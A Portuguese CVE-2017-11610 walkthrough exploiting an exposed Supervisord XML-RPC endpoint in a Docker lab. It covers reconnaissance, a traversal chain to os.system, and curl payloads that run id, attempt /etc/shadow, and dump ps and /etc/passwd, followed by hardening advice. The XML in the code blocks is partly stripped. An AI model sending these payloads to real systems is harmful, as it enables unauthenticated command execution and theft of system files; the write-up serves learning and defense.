
Writeup de exploração passo a passo para CVE-2017-11610 (Supervisord XML-RPC RCE) com análise de superfície de ataque, descoberta de travessia de namespace e técnicas de pós-exploração em um ambiente de laboratório Docker.
Começando pelo que está em execução no ambiente. Listo todos os containers ativos:``` docker ps-a

**A vítima expõe uma única porta: `9001`**.
A porta 9001 não é um aplicativo web padrão. Consultar o **banco de dados de portas** mostra que essa porta pode estar associada ao **Supervisord** (ETL Service Manager de acordo com a IANA), ao proxy Tor ou a algum outro serviço interno. No entanto, não podemos tirar uma conclusão com base apenas no número da porta.
⇒ Eu faço curl diretamente para ler a resposta e também acesso à GUI web para coletar mais informações.```
curl -i http://192.168.3.137:9001/


Análise da resposta:
Server: Medusa/1.12 e o título Supervisor Status→ Confirmado que é o Supervisord, não Tor nem qualquer outro serviço.
REFRESH, RESTART ALL, STOP ALLSupervisord é um gerenciador de processos no Linux. Se a port 9001 estiver exposta à rede sem senha, essa é uma configuração perigosa. Um atacante poderia visualizar serviços, reiniciar/parar processos e, sob certas configurações, explorá-lo para executar comandos se tiver privilégios para modificar ou controlar os programas gerenciados.
Conclusão da Análise: Podemos confirmar que o alvo está expondo a interface de administração do Supervisord à rede na porta 9001. Isso não é um serviço web padrão, mas uma interface de gerenciamento usada para monitorar e controlar processos. A capacidade de acessar essa interface sem autenticação cria o risco de um atacante visualizar o status ou interagir com os serviços gerenciados.
No entanto, devemos distinguir entre a UI visível e o mecanismo de controle subjacente. Botões como REFRESH, RESTART ALL e STOP ALL não processam requisições de forma independente no frontend; em vez disso, eles devem chamar uma interface/backend do Supervisord para recuperar o status ou enviar comandos de controle de processos. Portanto, após confirmar que a Web UI está exposta, o próximo passo da análise é determinar se a interface de controle subjacente existe por trás da Web UI e se exige autenticação.
⇒ Pensamento: É necessário verificar se a interface de controle por trás da Web UI existe e se exige autenticação.

De acordo com a documentação do Supervisor, [inet_http_server] é um servidor HTTP que escuta em um socket TCP. Essa interface não é habilitada por padrão, só deve ser usada em ambientes confiáveis, não suporta criptografia e não possui autenticação padrão, a menos que username/password seja configurado.
A documentação também indica que a porta de [inet_http_server] é usada para receber requisições HTTP/XML-RPC; o supervisorctl usa XML-RPC para se comunicar com o supervisord por meio dessa porta. Isso corresponde à nossa observação no laboratório: o contêiner expõe 0.0.0.0:9001->9001/tcp, a Web UI está acessível sem autenticação, e a versão exibida é o Supervisor 3.3.2.
Assim, após confirmar a Web UI na porta 9001, o próximo passo é inspecionar o endpoint XML-RPC /RPC2. Com base no mecanismo oficial do Supervisord, precisamos verificar estes objetivos:
/RPC2 existe.supervisor.getState ou system.listMethods.Verificar se o endpoint está ativo:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

O resultado retorna `HTTP/1.1 200 OK`, não `401 Unauthorized` ou `403 Forbidden`, mostrando que a solicitação foi aceita pelo servidor sem credenciais. A resposta está no formato XML-RPC `<methodResponse>` e contém `statename=RUNNING` e `statecode=1`, provando que o endpoint `/RPC2` está ativo e que o método `supervisor.getState` foi executado com sucesso.
**⇒ Pensando:** A superfície de ataque não está mais limitada à Interface Web, mas expandiu-se para a API XML-RPC, onde os comandos de controle de daemon/processos são manipulados. A partir daqui, a próxima direção de análise é **verificar como o Supervisor** lida com `methodName` em **XML-RPC**, para determinar se o alvo atual **apresenta o comportamento do CVE-2017-11610**, que reside no mecanismo de despacho/consulta (dispatch/lookup) desse método. Precisamos verificar isso para concluir se é **CVE-2017-11610**.
### **Analisando o Processamento de Nomes de Métodos no XML-RPC**
Na etapa anterior, chamamos com sucesso o método `supervisor.getState` por meio do endpoint `/RPC2`. Isso levanta a próxima questão: ao receber um `methodName` baseado em string, como o Supervisord mapeia essa string para a função Python interna?
Em XML-RPC, os métodos normalmente utilizam namespaces, por exemplo:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
Logicamente, o servidor recebe a string `methodName`, divide-a pelo ponto `.`, e procura pelo objeto/função correspondente dentro do handler registrado.
O pseudocódigo pode ser entendido da seguinte forma:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
Para métodos padrão como supervisor.getState, esse mecanismo funciona normalmente: o servidor recupera o manipulador supervisor e então chama a função getState. No entanto, o problema central de CVE-2017-11610 é que esse mecanismo de busca não restringe suficientemente os atributos que podem ser acessados. Se um atacante controlar o methodName, ele pode não apenas chamar métodos públicos como getState, mas também percorrer mais fundo nos objetos/módulos internos acessíveis a partir do manipulador supervisor.
Em outras palavras, o ponto . em methodName não é usado apenas para invocar métodos válidos, mas pode ser abusado para percorrer atributos de objetos.
Isso estabelece nosso caminho de exploração:
supervisor → supervisord → options → warnings → linecache → os → system
O conceito é começar pelo manipulador supervisor, seguir os atributos até os objetos internos do daemon e então aproveitar módulos Python pré-importados para alcançar os.system. Se os.system puder ser chamado, o atacante poderá executar comandos do sistema com os privilégios do processo supervisord.
Assim, a cadeia de ataque segue esta lógica:
/RPC2 aceita chamadas de método não autenticadas → inspecionar como o XML-RPC despacha methodName → descobrir que methodName pode percorrer atributos de objetos → leva a chamar os.system.
Primeiro, preciso verificar se o servidor realmente permite percorrer atributos internos. Tentarei chamar um nome de método mais longo que o normal. Se o servidor retornar um erro de "método não encontrado", um filtro está ativo; se retornar um erro diferente (ou tiver sucesso), a travessia está funcionando.
Pensando: já sei que supervisor.getState funciona. Se eu tentar supervisor.supervisord — que vai uma camada mais fundo — e o servidor não retornar um erro de unknown method, isso significa que ele está de fato usando getattr recursivo sem uma lista de permissões.
Sabemos que XML-RPC é um protocolo de chamada de procedimento remoto sobre HTTP, com dados codificados em XML. Cada requisição consiste em apenas 3 componentes fixos:```
FUNCTION_NAME VALUE ``` Estrutura simples — basta substituir `` e ``. Se a função não exigir parâmetros, deixe `` vazio. Se a função exigir uma string, envolva-a em `...`. Isso não é conhecimento secreto — a leitura do RFC de XML-RPC detalha isso.⇒ Aplicação: tente chamar um methodName mais longo que o normal para verificar a travessia de namespace:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

O resultado retorna um `HTTP 500 Internal Server Error` em vez do erro padrão `unknown method`. Isso indica que o servidor não bloqueia o `methodName` em um nível de namespace válido, mas sim continua processando a cadeia `supervisor.supervisord.options` durante o despacho. Em outras palavras, a requisição percorreu profundamente o mecanismo de busca de atributos; o erro ocorreu em uma etapa posterior, quando o objeto resolvido não era chamável como método. Isso é um claro indicador de que a travessia de namespace via `methodName` está ativa.
### **Encontrando o Caminho para a Função de Execução de Comandos**
A travessia está funcionando. O próximo passo é **encontrar uma cadeia de atributos que termine em uma função chamável capaz de executar comandos do sistema.** Em Python, o alvo mais fácil de verificar é `os.system()`. No entanto, **não temos um shell no alvo** e **não podemos ler diretamente objetos de código-fonte/tempo de execução no contêiner.** Portanto, devemos **inferir a partir dos mecanismos de importação do Python** e **verificar as dependências localmente primeiro.**
A cadeia a ser inspecionada é:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- O Supervisord é escrito em Python, portanto objetos internos como `options` são objetos Python com atributos.
- Se um módulo importa outro módulo via `import X`, então `X` existirá no namespace desse módulo.
- Na stdlib do Python, o módulo `warnings` importa `linecache` para obter contexto ao exibir avisos.
- O módulo `linecache` importa `os` para manipulações de caminhos/arquivos.
- O módulo `os` fornece a função `system()`, que é chamável e pode executar comandos de shell.
Confirme essa dependência localmente antes de tentar no alvo:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Pensando: A cadeia de dependências warnings → linecache → os é uma dependência real na stdlib do CPython; e system é de fato uma função chamável no módulo os. Combinado com a falha de travessia de namespace no XML-RPC, se conseguirmos alcançar supervisord.options.warnings a partir do handler supervisor, podemos continuar a travessia até linecache.os.system para invocar comandos do sistema.
Após identificar a cadeia de travessia até os.system, o próximo passo é construir a requisição XML-RPC para chamar essa função. Em Python, os.system() recebe um parâmetro de string representando o comando shell a ser executado e retorna o código de saída do comando. Essa função não retorna o stdout diretamente na resposta XML-RPC, então, para provar que o comando foi executado, precisamos redirecionar a saída para um arquivo.
⇒ Pensando: Sem saída direta na resposta, então escreva os resultados em /tmp. O diretório /tmp normalmente é gravável por todos os usuários no Linux. Um payload de verificação seguro é:
id > /tmp/rce_proof.txt
Aplicando o template XML-RPC analisado acima, substitua <methodName> pela cadeia de travessia até os.system e passe o comando shell dentro de <string>:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

O valor `<int>0</int>` é o código de saída de `os.system()`, não a saída padrão do comando. Um código de saída `0` indica que o comando do shell foi executado com sucesso. Verificamos isso lendo o arquivo dentro do contêiner:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE Confirmado. O comando id foi executado dentro do contêiner, com os privilégios do usuário nobody (uid=65534).
Ponto-chave: o RCE é alcançado, mas os privilégios de execução dependem do usuário que está executando o processo supervisord. Neste laboratório, o comando é executado sob o usuário nobody, o que significa que o impacto é mais restrito do que se o supervisord estivesse sendo executado como root.
Após confirmar o RCE, vemos que nobody é um usuário de baixo privilégio no Linux. No entanto, devemos verificar isso na prática, em vez de confiar apenas na saída do id. O método de verificação é tentar ler /etc/shadow, pois esse arquivo normalmente só pode ser lido por root e pelo grupo shadow. Se for legível, o processo tem altos privilégios; se for bloqueado, os privilégios estão realmente restritos.
Envie o payload para ler /etc/shadow e redirecione tanto stdout/stderr para um arquivo:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

A resposta retorna `<int>256</int>`, que é o valor de retorno de `os.system()`. No Unix, os status de saída são codificados; `256` corresponde ao código de saída `1` do shell. Isso indica que o comando foi executado, mas falhou.
Confirmamos a causa da falha lendo o arquivo de saída dentro do contêiner e verificando as permissões de `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

Os resultados mostram que o arquivo de saída registrou este erro:
cat: /etc/shadow: Permission denied
As permissões para /etc/shadow são:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowO arquivo /etc/shadow pertence a root, grupo shadow, e só pode ser lido pelo proprietário/grupo. Enquanto isso, a nossa RCE anterior confirmou que o comando é executado sob o usuário nobody; esse usuário não pertence ao grupo shadow e, portanto, não pode ler este arquivo.
⇒ Conclusão: A RCE foi alcançada, mas os privilégios estão genuinamente restritos ao usuário nobody. Essa é uma distinção crítica em relação a um serviço executado como root: o atacante pode executar comandos, mas não ganha automaticamente o controle total do sistema.
Embora não possamos ler /etc/shadow, a RCE ainda nos permite executar comandos com os privilégios do nobody. Assim, podemos continuar a coletar informações que esse usuário está autorizado a ler, como a lista de processos em execução e as informações de usuários no sistema.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 no container executa sob o usuário root, mas o processo supervisord executa sob o usuário nobody. Isso explica por que o RCE teve sucesso, mas não tinha o privilégio para ler arquivos restritos ao root.
Resultado: ps aux mostra que o PID 1 no container é /bin/bash /usr/local/bin/docker-entrypoint.sh executando sob o usuário root, enquanto o processo supervisord executa sob o usuário nobody.
Isso explica por que o RCE teve sucesso, mas não tinha permissões para ler arquivos restritos ao root: o comando é executado com os privilégios do processo supervisord, não do PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

Resultado: /etc/passwd mostra que o sistema contém principalmente usuários padrão como root, daemon, nobody e _apt; nenhum usuário de serviço adicional foi detectado. Isso indica que o ambiente do container é mínimo, sem outras contas de aplicação para explorar ou usar como pivô neste estágio.
Neste laboratório, não foi possível estabelecer um reverse shell. No entanto, não devemos simplesmente concluir que uma rede bridge do Docker sempre bloqueia reverse shells, pois containers Docker normalmente mantêm capacidade de saída via NAT. A causa pode estar relacionada a roteamento, firewalls, listeners, interfaces ou à configuração de rede do ambiente do laboratório.
O ponto crucial é: o reverse shell sem sucesso não altera a conclusão principal. O RCE foi confirmado com o payload id, código de saída 0 na resposta e o arquivo de saída em /tmp. O atacante pode executar comandos arbitrários dentro do container com os privilégios do usuário nobody.
Prioridade Urgente
Atualize o Supervisord para a versão corrigida
Atualize o Supervisor para a versão >= 3.3.3. A versão corrigida elimina completamente o mecanismo de busca recursiva de namespaces no XML-RPC, que era a causa raiz do CVE-2017-11610.
Não exponha [inet_http_server] à rede a menos que seja necessário
Se a interface web ou o gerenciamento remoto não forem necessários, desabilite [inet_http_server] completamente. Esta é uma interface de gerenciamento e não deve estar amplamente acessível na rede.
Restrinja o endereço de binding
Se você ainda precisar da interface web ativada, faça o bind apenas em localhost em vez de 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
Prioridade Alta
Habilite autenticação para [inet_http_server]
Se você precisar expor esta interface para administração remota, configure um usuário/senha fortes:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
Se ela precisar ser vinculada à rede, não confie apenas em uma senha; coloque-a atrás de uma VPN/proxy reverso ou restrinja o acesso por IP.
Restrinja o acesso com um firewall
Permita apenas que IPs administrativos acessem a porta 9001, por exemplo, via firewall/grupo de segurança. Não exponha esta porta à internet pública ou a toda a rede interna.
Execute o supervisord com um usuário de privilégios reduzidos
Este laboratório é executado sob o usuário nobody, mantendo o impacto limitado. Em ambientes do mundo real, evite executar supervisord como root a menos que seja absolutamente necessário.
| Critério | Avaliação | Detalhes |
|---|
| Pontuação CVSS | 9.8 (Crítico) | De acordo com CVE/NVD, a vulnerabilidade é um RCE não autenticado no Supervisor <= 3.3.2 |
| Autenticação | Não necessária | O endpoint /RPC2 processa solicitações XML-RPC sem exigir usuário/senha |
| Complexidade | Baixa | Explorável por meio de solicitações XML-RPC manuais, sem precisar do Metasploit |
| Privilégios Obtidos | nobody | O RCE é executado com os privilégios do processo supervisord; neste laboratório, restrito ao usuário nobody |
| Impacto | Alto | Capaz de executar comandos, gravar arquivos em diretórios graváveis como /tmp e coletar informações do sistema |
| Limitações | Não consegue ler arquivos exclusivos do root | /etc/shadow retornou Permission Denied, comprovando que os privilégios não são de root |
| Pivoting na Rede Interna | Viável | O usuário nobody ainda pode tentar se conectar a outros serviços/containers se as políticas de rede permitirem |